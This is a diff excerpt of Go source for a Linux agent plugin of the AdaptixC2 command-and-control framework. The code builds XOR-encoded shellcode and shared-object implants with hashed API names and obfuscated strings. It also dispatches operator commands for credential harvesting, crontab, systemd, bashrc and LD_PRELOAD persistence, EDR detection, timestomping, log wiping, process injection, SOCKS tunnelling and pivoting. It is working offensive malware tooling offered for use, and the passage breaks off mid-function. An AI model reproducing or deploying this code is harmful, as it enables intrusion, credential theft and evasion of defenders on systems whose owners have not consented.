error) { + Filename := "agent_native.so" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, SO)", arch)) + + srcDir := NativeSrcDir + + // Generate per-payload headers + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + + // Compile with -fPIC -DBUILD_SO + compiler := nativeCompiler(arch) + cFlags := fmt.Sprintf("%s -fPIC -DBUILD_SO -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed) + if generateConfig.OpsecEnabled { + cFlags += " -DOPSEC_ENABLED" + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (SO mode, per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled (SO mode)") + + // Link as shared object + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + linkCmd := fmt.Sprintf("%s -shared -nostdlib -nodefaultlibs -s -Wl,--build-id=none -o %s %s", compiler, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link SO: %w", err) + } + + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native SO %s)", len(Payload), arch)) + + return Payload, Filename, nil +} + +// buildNativeShellcodeX64 — SO + XOR encoder with x86_64 decoder stub +func (p *PluginAgent) buildNativeShellcodeX64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.x64.bin" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/x86_64 (Shellcode, Native C)") + + // Build SO first + soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "x86_64") + if err != nil { + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload))) + + shellcode, err := xorEncodeShellcodeX64(soPayload) + if err != nil { + return nil, "", fmt.Errorf("xor encode x64: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload))) + + return shellcode, Filename, nil +} + +// buildNativeShellcodeARM64 — SO + XOR encoder with ARM64 decoder stub +func (p *PluginAgent) buildNativeShellcodeARM64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.arm64.bin" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/aarch64 (Shellcode ARM64, Native C)") + + // Build SO first (ARM64) + soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "aarch64") + if err != nil { + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload))) + + shellcode, err := xorEncodeShellcodeARM64(soPayload) + if err != nil { + return nil, "", fmt.Errorf("xor encode arm64: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload))) + + return shellcode, Filename, nil +} + +// parseEscapedBytes converts "\x01\x02\xff" to raw bytes +func parseEscapedBytes(escaped []byte) []byte { + s := string(escaped) + var result []byte + for i := 0; i < len(s); { + if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' { + b, err := strconv.ParseUint(s[i+2:i+4], 16, 8) + if err == nil { + result = append(result, byte(b)) + i += 4 + continue + } + } + result = append(result, s[i]) + i++ + } + return result +} + +// generateNativeConfig creates config.h with encrypted profiles as C byte arrays +func generateNativeConfig(agentProfiles [][]byte) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload config\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n") + sb.WriteString("#include \n\n") + sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles))) + + for i, escapedProf := range agentProfiles { + rawProf := parseEscapedBytes(escapedProf) + sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i)) + for j := 0; j < len(rawProf); j++ { + if j > 0 && j%16 == 0 { + sb.WriteString("\n ") + } + sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j])) + if j < len(rawProf)-1 { + sb.WriteString(", ") + } + } + sb.WriteString("\n};\n") + sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf))) + } + + sb.WriteString("static const uint8_t* enc_profiles[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("#endif // CONFIG_H\n") + return sb.String() +} + +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) { + var agentData adaptix.AgentData + + var sessionInfo SessionInfo + err := msgpack.Unmarshal(beat, &sessionInfo) + if err != nil { + return adaptix.AgentData{}, nil, err + } + + agentData.ACP = int(sessionInfo.Acp) + agentData.OemCP = int(sessionInfo.Oem) + agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID) + agentData.Tid = "" + agentData.Elevated = sessionInfo.Elevated + agentData.InternalIP = sessionInfo.Ipaddr + + if sessionInfo.Os == "linux" { + agentData.Os = adaptix.OS_LINUX + agentData.OsDesc = sessionInfo.OSVersion + // Determine arch from OS version string or default + agentData.Arch = "x86_64" + if strings.Contains(sessionInfo.OSVersion, "aarch64") || strings.Contains(sessionInfo.OSVersion, "arm64") { + agentData.Arch = "arm64" + } + } else { + agentData.Os = adaptix.OS_UNKNOWN + return agentData, nil, errors.New("linux agent received non-linux OS") + } + + agentData.SessionKey = sessionInfo.EncryptKey + agentData.Domain = "" + agentData.Computer = sessionInfo.Host + agentData.Username = sessionInfo.User + agentData.Process = sessionInfo.Process + + agentData.Sleep = 0 + agentData.Jitter = 0 + + return agentData, &ExtenderAgent{}, nil +} + +/// AGENT HANDLER + +func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + + return plaintext, nil +} + +func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + var packData []byte + + var objects [][]byte + var command Command + + for _, taskData := range tasks { + taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64) + if err != nil { + return nil, err + } + + _ = msgpack.Unmarshal(taskData.Data, &command) + command.Id = uint(taskId) + + cmd, _ := msgpack.Marshal(command) + + objects = append(objects, cmd) + } + + message := Message{ + Type: 1, + Object: objects, + } + + packData, _ = msgpack.Marshal(message) + + return packData, nil +} + +func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + id, _ := strconv.ParseUint(pivotId, 16, 64) + + // Build Command{code: PIVOT_EXEC, data: {pivot_id, data}} + innerData, _ := msgpack.Marshal(ParamsPivotExec{ + PivotId: uint32(id), + Data: data, + }) + cmd := Command{ + Code: COMMAND_PIVOT_EXEC, + Data: innerData, + } + packData, _ := msgpack.Marshal(cmd) + + taskData := adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", mrand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: packData, + Sync: false, + } + + return taskData, nil +} + +func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + var ( + taskData adaptix.TaskData + messageData adaptix.ConsoleMessageData + err error + ) + + command, ok := args["command"].(string) + if !ok { + return taskData, messageData, errors.New("'command' must be set") + } + subcommand, _ := args["subcommand"].(string) + + taskData = adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + Sync: true, + } + + messageData = adaptix.ConsoleMessageData{ + Status: adaptix.MESSAGE_INFO, + Text: "", + } + messageData.Message, _ = args["message"].(string) + + var cmd Command + + switch command { + + case "cat": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCat{Path: path}) + cmd = Command{Code: COMMAND_CAT, Data: packerData} + + case "cd": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCd{Path: path}) + cmd = Command{Code: COMMAND_CD, Data: packerData} + + case "cp": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_CP, Data: packerData} + + case "download": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData} + + case "exit": + cmd = Command{Code: COMMAND_EXIT, Data: nil} + + case "getuid": + cmd = Command{Code: COMMAND_GETUID, Data: nil} + + case "env": + cmd = Command{Code: COMMAND_ENV, Data: nil} + + case "netstat": + cmd = Command{Code: COMMAND_NETSTAT, Data: nil} + + case "mounts": + cmd = Command{Code: COMMAND_MOUNTS, Data: nil} + + case "edr": + cmd = Command{Code: COMMAND_EDR, Data: nil} + + case "creds": + credType, _ := getStringArg(args, "type") + if credType == "" { + credType = "all" + } + packerData, _ := msgpack.Marshal(ParamsCreds{Type: credType}) + cmd = Command{Code: COMMAND_CREDS, Data: packerData} + + case "persist": + params := ParamsPersist{Action: subcommand} + switch subcommand { + case "crontab": + params.Cmd, _ = getStringArg(args, "cmd") + params.Schedule, _ = getStringArg(args, "schedule") + case "systemd": + params.Name, _ = getStringArg(args, "name") + params.Cmd, _ = getStringArg(args, "cmd") + case "bashrc": + params.Cmd, _ = getStringArg(args, "cmd") + case "ldpreload": + params.Path, _ = getStringArg(args, "path") + case "remove": + params.Type, _ = getStringArg(args, "type") + params.Name, _ = getStringArg(args, "name") + case "status": + // no extra args + default: + err = errors.New("subcommand must be: crontab, systemd, bashrc, ldpreload, remove, status") + goto RET + } + packerData, _ := msgpack.Marshal(params) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + + case "container": + action := subcommand + if action == "" { + action = "detect" + } + packerData, _ := msgpack.Marshal(ParamsContainer{Action: action}) + cmd = Command{Code: COMMAND_CONTAINER, Data: packerData} + + case "masquerade": + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMasquerade{Name: name}) + cmd = Command{Code: COMMAND_MASQUERADE, Data: packerData} + + case "timestomp": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + timestamp := uint64(0) + if ts, ok := args["timestamp"].(float64); ok { + timestamp = uint64(ts) + } + packerData, _ := msgpack.Marshal(ParamsTimestomp{Path: path, Timestamp: timestamp}) + cmd = Command{Code: COMMAND_TIMESTOMP, Data: packerData} + + case "cleanlog": + cmd = Command{Code: COMMAND_CLEANLOG, Data: nil} + + case "inject": + pidF, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + scData, ok := args["shellcode"].([]byte) + if !ok { + // Try as base64 string + scStr, err2 := getStringArg(args, "shellcode") + if err2 != nil { + err = errors.New("missing 'shellcode' parameter") + goto RET + } + var err3 error + scData, err3 = base64.StdEncoding.DecodeString(scStr) + if err3 != nil { + err = fmt.Errorf("invalid base64 shellcode: %v", err3) + goto RET + } + } + packerData, _ := msgpack.Marshal(ParamsInject{Pid: int(pidF), Shellcode: scData}) + cmd = Command{Code: COMMAND_INJECT, Data: packerData} + + case "migrate": + cmd = Command{Code: COMMAND_MIGRATE, Data: nil} + + case "job": + if subcommand == "list" { + cmd = Command{Code: COMMAND_JOB_LIST, Data: nil} + + } else if subcommand == "kill" { + jobId, err := getStringArg(args, "task_id") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId}) + cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData} + + } else { + err = errors.New("subcommand must be 'list' or 'kill'") + goto RET + } + + case "kill": + pid, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)}) + cmd = Command{Code: COMMAND_KILL, Data: packerData} + + case "ls": + dir, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLs{Path: dir}) + cmd = Command{Code: COMMAND_LS, Data: packerData} + + case "mv": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_MV, Data: packerData} + + case "mkdir": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path}) + cmd = Command{Code: COMMAND_MKDIR, Data: packerData} + + case "ps": + cmd = Command{Code: COMMAND_PS, Data: nil} + + case "pwd": + cmd = Command{Code: COMMAND_PWD, Data: nil} + + case "rm": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsRm{Path: path}) + cmd = Command{Code: COMMAND_RM, Data: packerData} + + case "run": + taskData.Type = adaptix.TASK_TYPE_JOB + + prog, err := getStringArg(args, "program") + if err != nil { + goto RET + } + runArgs, _ := args["args"].(string) + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + cmdArgs, _ := shlex.Split(runArgs) + packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_RUN, Data: packerData} + + case "shell": + cmdParam, err := getStringArg(args, "cmd") + if err != nil { + goto RET + } + + // Linux: use /bin/sh (most portable) + cmdArgs := []string{"-c", cmdParam} + packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/sh", Args: cmdArgs}) + cmd = Command{Code: COMMAND_SHELL, Data: packerData} + + case "socks": + taskData.Type = adaptix.TASK_TYPE_TUNNEL + + portNumber, ok := args["port"].(float64) + port := int(portNumber) + if ok { + if port < 1 || port > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + } + if subcommand == "start" { + address, err := getStringArg(args, "address") + if err != nil { + goto RET + } + + auth := getBoolArg(args, "-a") + if auth { + username, err := getStringArg(args, "username") + if err != nil { + goto RET + } + password, err := getStringArg(args, "password") + if err != nil { + goto RET + } + + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password) + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) + + } else { + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "") + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) + } + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopSocks(agentData.Id, port) + + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.Message = "Socks5 server has been stopped" + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "upload": + remote_path, err := getStringArg(args, "remote_path") + if err != nil { + goto RET + } + localFile, err := getStringArg(args, "local_file") + if err != nil { + goto RET + } + + fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) + if decodeErr != nil { + err = decodeErr + goto RET + } + + zipContent, zipErr := ZipBytes(fileContent, remote_path) + if zipErr != nil { + err = zipErr + goto RET + } + + chunkSize := 0x500000 + bufferSize := len(zipContent) + + inTaskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + Sync: false, + } + + for start := 0; start < bufferSize; start += chunkSize { + fin := start + chunkSize + finish := false + if fin >= bufferSize { + fin = bufferSize + finish = true + } + + inPackerData, _ := msgpack.Marshal(ParamsUpload{ + Path: remote_path, + Content: zipContent[start:fin], + Finish: finish, + }) + inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData} + + if finish { + cmd = inCmd + break + + } else { + inTaskData.Data, _ = msgpack.Marshal(inCmd) + inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) + + Ts.TsTaskCreate(agentData.Id, "", "", inTaskData) + } + } + + case "link": + // TCP pivot — connect to child agent + target, err := getStringArg(args, "target") + if err != nil { + goto RET + } + portF, err := getFloatArg(args, "port") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLink{Address: target, Port: int(portF)}) + cmd = Command{Code: COMMAND_LINK, Data: packerData} + + case "unlink": + pivotName, err := getStringArg(args, "id") + if err != nil { + goto RET + } + pivotId, _, _ := Ts.TsGetPivotInfoByName(pivotName) + if pivotId == "" { + err = fmt.Errorf("pivot %s does not exist", pivotName) + goto RET + } + id, _ := strconv.ParseUint(pivotId, 16, 64) + packerData, _ := msgpack.Marshal(ParamsUnlink{PivotId: uint32(id)}) + cmd = Command{Code: COMMAND_UNLINK, Data: packerData} + + case "execute": + if subcommand == "bof" { + taskData.Type = adaptix.TASK_TYPE_JOB + + bofFile, err := getStringArg(args, "bof") + if err != nil { + goto RET + } + bofContent, err := base64.StdEncoding.DecodeString(bofFile) + if err != nil { + goto RET + } + + var params []byte + paramData, ok := args["param_data"].(string) + if ok { + params, err = base64.StdEncoding.DecodeString(paramData) + if err != nil { + params = []byte(paramData) + } + } + + packerData, _ := msgpack.Marshal(ParamsBof{ + Content: bofContent, + Args: params, + EntryFunc: "go", + }) + + asyncFlag := getBoolArg(args, "async") + if asyncFlag { + cmd = Command{Code: COMMAND_EXEC_BOF_ASYNC, Data: packerData} + } else { + cmd = Command{Code: COMMAND_EXEC_BOF, Data: packerData} + } + } else { + err = errors.New("subcommand must be 'bof'") + goto RET + } + + default: + err = errors.New(fmt.Sprintf("Command '%v' not found", command)) + goto RET + } + + taskData.Data, _ = msgpack.Marshal(cmd) + +RET: + return taskData, messageData, err +} + +func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + var outTasks []adaptix.TaskData + + taskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + FinishDate: time.Now().Unix(), + MessageType: adaptix.MESSAGE_SUCCESS, + Completed: true, + Sync: true, + } + + var ( + inMessage Message + cmd Command + job Job + ) + + err := msgpack.Unmarshal(decryptedData, &inMessage) + if err != nil { + return errors.New("failed to unmarshal message") + } + + if inMessage.Type == 1 { + + for _, cmdBytes := range inMessage.Object { + err = msgpack.Unmarshal(cmdBytes, &cmd) + if err != nil { + continue + } + + TaskId := cmd.Id + commandId := cmd.Code + task := taskData + task.TaskId = fmt.Sprintf("%08x", TaskId) + + switch commandId { + + case COMMAND_CAT: + var params AnsCat + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("'%v' file content:", params.Path) + task.ClearText = string(params.Content) + + case COMMAND_CD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_CP: + task.Message = "Object copied successfully" + + case COMMAND_PWD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_KILL: + task.Message = "Process killed" + + case COMMAND_GETUID: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "User info:" + task.ClearText = params.Output + + case COMMAND_ENV: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Environment variables:" + task.ClearText = params.Output + + case COMMAND_NETSTAT: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Network connections:" + task.ClearText = params.Output + + case COMMAND_MOUNTS: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Mount points:" + task.ClearText = params.Output + + case COMMAND_EDR: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Security tool detection:" + task.ClearText = params.Output + + case COMMAND_CREDS: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Credential harvest:" + task.ClearText = params.Output + + case COMMAND_PERSIST: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Persistence:" + task.ClearText = params.Output + + case COMMAND_CONTAINER: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Container/Cloud info:" + task.ClearText = params.Output + + case COMMAND_MASQUERADE: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Process masquerade:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_TIMESTOMP: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Timestomp:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_CLEANLOG: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Log cleanup:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_INJECT: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Process injection:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_MIGRATE: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Migration:" + task.ClearText = ans.Output + + case COMMAND_LINK: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Link failed:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsLink + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + // params.Beat contains the child agent's encrypted init data + // params.Watermark is the child's watermark identifier + watermark := fmt.Sprintf("%08x", params.Watermark) + childAgentId, linkErr := Ts.TsListenerInteralHandler(watermark, params.Beat) + if linkErr != nil || childAgentId == "" { + task.Message = fmt.Sprintf("Link failed: listener handler error for watermark %s", watermark) + task.MessageType = adaptix.MESSAGE_ERROR + break + } + _ = Ts.TsPivotCreate(task.TaskId, agentData.Id, childAgentId, "", false) + + task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true) + + case COMMAND_UNLINK: + var params AnsUnlink + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + + pivotId := fmt.Sprintf("%08x", params.PivotId) + pivotType := params.Type + + _, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId) + + messageParent := "" + messageChild := "" + if pivotType == 2 { + messageParent = fmt.Sprintf("TCP agent %s connection reset", childAgentId) + messageChild = " ----- TCP agent connection reset ----- " + } else if pivotType == 10 { + 